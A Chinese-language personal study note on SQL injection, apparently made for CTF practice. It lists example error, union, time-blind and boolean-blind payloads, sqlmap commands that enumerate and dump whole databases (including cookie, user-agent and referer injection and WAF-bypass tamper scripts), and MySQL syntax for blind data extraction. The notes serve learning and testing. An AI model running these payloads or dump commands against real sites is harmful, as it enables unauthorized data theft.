sql这玩意,语法也不难,但是特别容易忘,这已经是我第三次从零开始学习sql注入了,做点笔记,希望别那么快又忘了。
参考视频:deelmind大佬的sql注入教程https://www.bilibili.com/video/BV1Ab4y1k7e7
(舟长赛高)
1.找可能的注入点
不止需要get输入的地方可能被数据库录入,连数据包的各个参数都有可能被数据库录入,所以可以改变所有的参数,逐个进行测试
2.四种注入检测
报错注入(error):
例:id=3’ AND EXTRACTVALUE(1389,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(1389=1389,1))),0x7170627671)) AND ‘GzOm’=’GzOm
联合注入(union):
例:id=-4195’ UNION ALL SELECT NULL,NULL,CONCAT(0x7170766a71,0x61626345484d4c44715053567a486d7064415a77696d7076417055786962707664624d4a41455146,0x7170627671)– -
时间盲注(time)(特征:网页加载了一段时间):
例:id=3’ AND (SELECT 7586 FROM (SELECT(SLEEP(5)))ljtK) AND ‘NBox’=’NBox
布尔盲注(boolean):
例:id=3’ AND 3931=3931 AND ‘IMwH’=’IMwH
3.sqlmap简单使用:
扫描:
python sqlmap.py -u “[url]” -random-agent(一般扫描)(后参数可省略)
如果有自己写的tamper(这里用safedog.py代替)扫描:
python sqlmap.py -u “[url]” -random-agent –tamper = safedog.py
比较好使的sqlmap中文参考手册:点击下载
查看所有数据库:
python sqlmap.py -u “[url]” –dbs
查看某数据库的所有表(库名用security代替):
python sqlmap.py -u “[url]” -D security –tables
查看某表的所有列(库名用security代替,表名用user代替):
python sqlmap.py -u “[url]” -D security -T users –columns
查看某列的所有数据(库名用security代替,表名用user代替,列名用username代替):python sqlmap.py -u “[url]” -D security -T users -C username –dump
(最简便)查看所有数据库的所有数据(一般别用,会把基础库全部打印出来):python sqlmap.py -u “[url]” –dump-all
(最简便)查看某数据库的所有数据:python sqlmap.py -u “[url]” -D security –dump-all
cookie注入:(在sqlmap中使用cookie注入,level >=2才行)
sqlmap.py -u “ http://www.\*\*\*.com/shownews.asp" –cookie=”id=207” –level 2
user-agent注入:(level >= 4)
sqlmap.py -u “ http://www.\*\*\*.com/shownews.asp" –random-agent –level 3
referer注入:(level >= 4)
python sqlmap.py -u “http://challenge-a3f5f8ae8e1fa13b.sandbox.ctfhub.com:10800/" –referer=”aaaaa” –level 4
绕过空格拦截的12个脚本(https://www.cnblogs.com/i-honey/p/7899652.html)
常用temper介绍:https://www.cnblogs.com/mark0/p/12349551.html
5.mysql基础语法
注释:
(1) – (后面带空格)
(2) /* */
(3) # (mysql特有)
搜索:
select * from [表名] where id=1
“*“ 可以换成列名或数字(例:id,username,1,2,3)(若为列名,则会搜索那一列,若为数字,则会自动填充到每一列,若数字个数比列数多,则会报错)
“id=1”为条件,可以更换
select distinct ……(去重)
…… where id between 1 and 2 = …… where id in (1,2) (可用于绕过id=3 ==> id in (3))
…… where id=1 and 1=1 (一定为真)(and可以用&或&&代替)
…… where id=1 or 1=11 (一定为真)(or可以用|或||代替)
like:
select …… where pass like “%pass%”
(匹配pass列中符合”%pass%”的元素)(类似正则表达式,%:代表0或多个字符,_:代表一个字符)
order by(排序):
select * from duser order by id limit 3
(id可以是列名或数字(第几列),可以用于测试一共有几列)
(limit 3 意思是看前几条,若数字大于总条数,则显示所有)
as(重命名):
select id as s from ……
(把列名为id的一列的列名改成s输出,as可以省略)
函数:
max() (最大) 例: select min(id) from ……
min() (最小)
sum() (求和)
count() (个数)
concat() (拼接)
database() (数据库名) 例: select database()
user() (主机名(相当于主机名和密码))
@@datadir (存储位置)
exists():
select 1 and exists(select 2)
(若括号内返回真,则返回前面select的值;若为假,则返回0)(相当于if)
ascii():
返回字符串首个字母的ascii码
可以配合exists()使用: select * from duser where id=1 and exists(select * from duser 1 where ascii(username)=117)
(username为列名,117代表字母u)(只有正确才会返回值,可以用来测试内容)
substring(,,):
截取字段,可配合ascii爆出内容
ascii(substring(username,1,1))==117
(上述例子的意思是,若第二个字母为u)
union:
select * from duser union select * from duser1
(后一个*可以换成1,2,3或1,2,database(),可以用来查表名之类的)
union自动去重
不要去重可以用 union all
group by(分组):
select count(username)count,id,username,pass from duser group bu id (having count=5)
(测试同id的username有几个)
(括号内为可加,查有5个的id,username,pass)
最基础绕过:加/**/
join部分以后再整理